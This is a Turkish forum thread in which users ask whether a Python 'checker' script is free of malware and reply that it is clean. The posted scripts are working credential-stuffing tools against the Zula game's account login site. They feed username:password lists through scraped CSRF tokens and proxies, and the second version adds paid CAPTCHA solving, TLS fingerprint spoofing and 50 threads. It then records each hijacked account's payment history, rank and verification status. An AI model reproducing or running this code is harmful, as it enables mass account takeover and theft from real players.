temiz mi

  • Konuyu Başlatan Konuyu Başlatan Hwenzy
  • Başlangıç tarihi Başlangıç tarihi

Hwenzy

Efsane Üye
Katılım
3 May 2024
Mesajlar
3,263
Beğeniler
1,449
İletişim
beyler pyhton dosyayı checker sanırsam temiz mi
Kod:
import requests
import re
from colorama import Fore, Style
from os import system

def show_interface():
    system("cls||clear")

def format_proxy(proxy):
    parts = proxy.split(":")
    if len(parts) == 2:
        return f"http://{proxy}"
    elif len(parts) == 4:
        return f"http://{parts[2]}:{parts[3]}@{parts[0]}:{parts[1]}"
    else:
        print("Hata: Geçersiz proxy adresi formatı.")
        return None

def get_proxy():
    use_proxy = input("Proxy kullanmak istiyor musunuz? (Evet/Hayır): ").lower()
    if use_proxy == "evet":
        proxy_str = input("Proxy bilgisini girin (host:port:username:password): ")
        return format_proxy(proxy_str)
    else:
        return None

def read_credentials_from_file(filename):
    credentials = []
    try:
        with open(filename, "r", encoding="utf-8") as file:
            for line in file:
                line = line.strip()
                if ":" in line:
                    username, password = line.split(":")
                    credentials.append((username, password))
    except FileNotFoundError:
        print(f"{filename} dosyası bulunamadı. Lütfen dosyanın varlığını kontrol edin.")
    return credentials

def main():
    while True:
        show_interface()
        print("Klasör açıp hesap.txt oluşturmayı unutmayın!")
        choice = input("Devam etmek için 1'e basın, çıkış yapmak için Q'ya basın: ")
        if choice.lower() == 'q':
            break

        headers = {
            'sec-ch-ua': '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"',
            'Referer': 'https://hesap.zulaoyun.com/',
            'sec-ch-ua-mobile': '?0',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
            'sec-ch-ua-platform': '"Windows"',
        }

        proxy = get_proxy()
        proxies = {"http": proxy, "https": proxy} if proxy else None

        credentials = read_credentials_from_file("hesap.txt")
        if not credentials:
            continue

        for username, password in credentials:
            client = requests.Session()
            while True:
                response = client.get('https://hesap.zulaoyun.com/', headers=headers, proxies=proxies)
                response_text = response.text

                right_string_token = 'name="__RequestVerificationToken" type="hidden" value="'
                left_string_token = '"'
                start_index_token = response_text.find(right_string_token)
                if start_index_token != -1:
                    start_index_token += len(right_string_token)
                    end_index_token = response_text.find(left_string_token, start_index_token)
                    token = response_text[start_index_token:end_index_token]
                    print("Token:", token)
                else:
                    token = None

                if token:
                    data = {
                        '__RequestVerificationToken': token,
                        'ReturnUrl': '/',
                        'UserName': username,
                        'Password': password,
                        'RememberMe': 'false',
                    }

                    try:
                        response_login = client.post('https://hesap.zulaoyun.com/zulu-giris-yap', headers=headers, data=data, proxies=proxies)
                        response_text_login = response_login.text

                        if "Token eksik" in response_text_login:
                            print("Token eksik, yeniden dene.")
                        elif "Kullanıcı adı ya da şifre yanlış." in response_text_login:
                            print(f"Yanlış kullanıcı adı veya şifre: {username}")
                            break
                        elif "PROFİL" in response_text_login:
                            print(f"Başarılı giriş: Kullanıcı adı: {username}, Şifre: {password}")

                            response_profil = client.get('https://hesap.zulaoyun.com/profil', headers=headers, proxies=proxies)
                            response_text_profil = response_profil.text

                            match_level = re.search(r'UserGameLevel\':"(.*?)"', response_text_profil)
                            if match_level:
                                level = match_level.group(1)
                                print("Level:", level)

                                with open("basarilihesaplar.txt", "a", encoding="utf-8") as file:
                                    file.write(f"Kullanıcı Adı: {username}, Şifre: {password}, Level: {level}\n")
                            else:
                                print("Level bulunamadı")
                            break
                        else:
                            print("Hata var")
                            break
                    except requests.RequestException as e:
                        print(f"Bir hata oluştu: {e}")
                        break
                else:
                    print("Token eksik, yeniden dene.")

if __name__ == "__main__":
    main()
 
Son düzenleme:
temiz gözüküyor not defteri ile acip icindeki kodlara baksana
 
malum oyunla alakalı yasaksa çöplüğe atabilirsiniz

Kod:
import requests
import re
import time
import tls_client
from bs4 import BeautifulSoup
from concurrent.futures import ThreadPoolExecutor
import random
from loguru import logger

api_key = "CAPSOLVER_KEY"
site_key = "0x4AAAAAAAyOAhZopAtgo73i"
site_url = "https://hesap.zulaoyun.com/zulu-giris-yap"
checked_accounts = set()

def create_captcha_task():
    payload = {
        "clientKey": api_key,
        "task": {
            "type": 'AntiTurnstileTaskProxyLess',
            "websiteKey": site_key,
            "websiteURL": site_url,
            "metadata": {"action": ""}
        }
    }
    return requests.post("https://api.capsolver.com/createTask", json=payload).json().get("taskId")

def get_captcha_solution(task_id):
    while task_id:
        time.sleep(1)
        payload = {
            "clientKey": api_key,
            "taskId": task_id
        }
        res = requests.post("https://api.capsolver.com/getTaskResult", json=payload)
        result = res.json()
        if result.get("status") == "ready":
            return result.get("solution", {}).get('token')
        elif result.get("status") == "failed" or result.get("errorId"):
            return None

def get_verification_token(client, headers):
    response = client.get(site_url, headers=headers)
    response_text = response.text
    token_match = re.search(r'name="__RequestVerificationToken" type="hidden" value="(.*?)"', response_text)
    return token_match.group(1) if token_match else None

def rank_converter(rank_url):
    ranks = {
        "https://img.zulaoyun.com/sitecdn/TR/Content/hesapzulaoyun/images/ranks/lbc_rank_icon_01.png": "Acemi",
        "https://img.zulaoyun.com/sitecdn/TR/Content/hesapzulaoyun/images/ranks/lbc_rank_icon_02.png": "Bronz",
        "https://img.zulaoyun.com/sitecdn/TR/Content/hesapzulaoyun/images/ranks/lbc_rank_icon_03.png": "Gümüş",
        "https://img.zulaoyun.com/sitecdn/TR/Content/hesapzulaoyun/images/ranks/lbc_rank_icon_04.png": "Altın",
        "https://img.zulaoyun.com/sitecdn/TR/Content/hesapzulaoyun/images/ranks/lbc_rank_icon_05.png": "Zümrüt",
        "https://img.zulaoyun.com/sitecdn/TR/Content/hesapzulaoyun/images/ranks/lbc_rank_icon_06.png": "Elmas",
        "https://img.zulaoyun.com/sitecdn/TR/Content/hesapzulaoyun/images/ranks/lbc_rank_icon_07.png": "Elit",
        "https://img.zulaoyun.com/sitecdn/TR/Content/hesapzulaoyun/images/ranks/lbc_rank_icon_08.png": "Usta",
        "https://img.zulaoyun.com/sitecdn/TR/Content/hesapzulaoyun/images/ranks/lbc_rank_icon_09.png": "Efsane",
    }
    return ranks.get(rank_url, "Bulunamadı")

def process_account(username, password):
    account_key = f"{username}:{password}"
    if account_key in checked_accounts:
        return
    checked_accounts.add(account_key)
    session = tls_client.Session(
        client_identifier="chrome_120",
        random_tls_extension_order=True
    )
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
    }
    for attempt in range(3):
        try:
            #proxy = random.choice(open("proxy.txt", "r").readlines()).strip()
            #session.proxies = {'http': 'http://' + proxy, 'https': 'http://' + proxy}
            verification_token = get_verification_token(session, headers)
            turnstile_token = get_captcha_solution(create_captcha_task())
            if verification_token is None or turnstile_token is None:
                continue
            data = {
                '__RequestVerificationToken': verification_token,
                'ReturnUrl': '/',
                'UserName': username,
                'Password': password,
                'cf_turnstile_response': turnstile_token,
                'RememberMe': 'false',
            }
            login = session.post(site_url, headers=headers, data=data, allow_redirects=True)
            if '/profile' in login.text:
                payments = session.get("https://hesap.zulaoyun.com/profil/odeme-gecmisi", headers=headers, allow_redirects=True)
                soup = BeautifulSoup(payments.text, "html.parser")
                total_za = 0
                for row in soup.select("table.table tbody tr"):
                    product = row.select_one("td:nth-child(3)").text
                    za_amount = re.search(r"([\d.]+)\s*ZA?", product)
                    if za_amount:
                        total_za += float(za_amount.group(1).replace(".", ""))
                details = session.get("https://hesap.zulaoyun.com/profil", headers=headers, allow_redirects=True)
                soup = BeautifulSoup(details.text, "html.parser")
                nickname = soup.find("div", class_="profile-content-user-name").text.strip() if soup.find("div", class_="profile-content-user-name") else "Bulunamadı"
                level = soup.select_one(".progress-bar-text").text.strip() if soup.select_one(".progress-bar-text") else "Bulunamadı"
                kd = soup.find("div", class_="profile-data-content clr").find("div", class_="profile-data-content-top").find("div", class_="yellow-box yellow-box-title kd").find("span").text.replace(',','.').strip() if soup.find("div", class_="profile-data-content clr") else "Bulunamadı"
                icon_img = soup.find("img", alt="Performans")
                icon_img_src = icon_img["src"] if icon_img else "Bulunamadı"
                registration_date = soup.select_one("p:-soup-contains('KAYIT TARİHİ') span").text.strip() if soup.select_one("p:-soup-contains('KAYIT TARİHİ') span") else "Bulunamadı"
                za_amount = "{:,.0f}".format(total_za).replace(',', '.')
                security = session.get("https://hesap.zulaoyun.com/profil/duzenle", headers=headers, allow_redirects=True)
                mail_verified = "(+)" if 'id="txtEMailVerify" placeholder="Doğrulama Tamamlandı"' in security.text else "(-)"
                phone_verified = "(+)" if 'id="txtMobilePhoneVerify" placeholder="Doğrulama Tamamlandı"' in security.text else "(-)"
                if za_amount != "0":
                    logger.success(f"{username}:{password} | Username: {nickname} | Level: {level} | KD {kd} | Rank: {rank_converter(icon_img_src)} | Registration: {registration_date} | ZA History: {za_amount} | Mail Verified: {mail_verified} | Phone Verified: {phone_verified}")
                    with open(f"success.txt", "a") as f:
                        f.write(f"{username}:{password} | Username: {nickname} | Level: {level} | KD {kd} | Rank: {rank_converter(icon_img_src)} | Registration: {registration_date} | ZA History: {za_amount} | Mail Verified: {mail_verified} | Phone Verified: {phone_verified}\n")
                return
        except Exception as e:
            if attempt == 2:
                with open("error.txt", "a") as f:
                    f.write(f"{username}:{password}\n")
        time.sleep(2)

def load_accounts(filename):
    with open(filename, 'r') as file:
        accounts = [line.strip().split(':') for line in file.readlines() if line.strip()]
    return accounts

if __name__ == "__main__":
    accounts = load_accounts('accounts.txt')
    with ThreadPoolExecutor(max_workers=50) as executor:
        executor.map(lambda account: process_account(*account), accounts)
temiz kanka

zulu checker gibi duruyor temiz sorun yok kullana bilirsin.
 
+up yeni kod peki bu temiz mi?
Kod:
import requests
import re
from colorama import Fore, Style
from os import system

def show_interface():
    system("cls||clear")

def format_proxy(proxy):
    parts = proxy.split(":")
    if len(parts) == 2:
        return f"http://{proxy}"
    elif len(parts) == 4:
        return f"http://{parts[2]}:{parts[3]}@{parts[0]}:{parts[1]}"
    else:
        print("Hata: Geçersiz proxy adresi formatı.")
        return None

def get_proxy():
    use_proxy = input("Proxy kullanmak istiyor musunuz? (Evet/Hayır): ").lower()
    if use_proxy == "evet":
        proxy_str = input("Proxy bilgisini girin (host:port:username:password): ")
        return format_proxy(proxy_str)
    else:
        return None

def read_credentials_from_file(filename):
    credentials = []
    try:
        with open(filename, "r", encoding="utf-8") as file:
            for line in file:
                line = line.strip()
                if ":" in line:
                    username, password = line.split(":")
                    credentials.append((username, password))
    except FileNotFoundError:
        print(f"{filename} dosyası bulunamadı. Lütfen dosyanın varlığını kontrol edin.")
    return credentials

def main():
    while True:
        show_interface()
        print("Klasör açıp hesap.txt oluşturmayı unutmayın!")
        choice = input("Devam etmek için 1'e basın, çıkış yapmak için Q'ya basın: ")
        if choice.lower() == 'q':
            break

        headers = {
            'sec-ch-ua': '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"',
            'Referer': 'https://hesap.zulaoyun.com/',
            'sec-ch-ua-mobile': '?0',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
            'sec-ch-ua-platform': '"Windows"',
        }

        proxy = get_proxy()
        proxies = {"http": proxy, "https": proxy} if proxy else None

        credentials = read_credentials_from_file("hesap.txt")
        if not credentials:
            continue

        for username, password in credentials:
            client = requests.Session()
            while True:
                response = client.get('https://hesap.zulaoyun.com/', headers=headers, proxies=proxies)
                response_text = response.text

                right_string_token = 'name="__RequestVerificationToken" type="hidden" value="'
                left_string_token = '"'
                start_index_token = response_text.find(right_string_token)
                if start_index_token != -1:
                    start_index_token += len(right_string_token)
                    end_index_token = response_text.find(left_string_token, start_index_token)
                    token = response_text[start_index_token:end_index_token]
                    print("Token:", token)
                else:
                    token = None

                if token:
                    data = {
                        '__RequestVerificationToken': token,
                        'ReturnUrl': '/',
                        'UserName': username,
                        'Password': password,
                        'RememberMe': 'false',
                    }

                    try:
                        response_login = client.post('https://hesap.zulaoyun.com/zulu-giris-yap', headers=headers, data=data, proxies=proxies)
                        response_text_login = response_login.text

                        if "Token eksik" in response_text_login:
                            print("Token eksik, yeniden dene.")
                        elif "Kullanıcı adı ya da şifre yanlış." in response_text_login:
                            print(f"Yanlış kullanıcı adı veya şifre: {username}")
                            break
                        elif "PROFİL" in response_text_login:
                            print(f"Başarılı giriş: Kullanıcı adı: {username}, Şifre: {password}")

                            response_profil = client.get('https://hesap.zulaoyun.com/profil', headers=headers, proxies=proxies)
                            response_text_profil = response_profil.text

                            match_level = re.search(r'UserGameLevel\':"(.*?)"', response_text_profil)
                            if match_level:
                                level = match_level.group(1)
                                print("Level:", level)

                                with open("basarilihesaplar.txt", "a", encoding="utf-8") as file:
                                    file.write(f"Kullanıcı Adı: {username}, Şifre: {password}, Level: {level}\n")
                            else:
                                print("Level bulunamadı")
                            break
                        else:
                            print("Hata var")
                            break
                    except requests.RequestException as e:
                        print(f"Bir hata oluştu: {e}")
                        break
                else:
                    print("Token eksik, yeniden dene.")

if __name__ == "__main__":
    main()
 

Şuanda konuyu görüntüleyen kullanıcılar

Geri
Üst Alt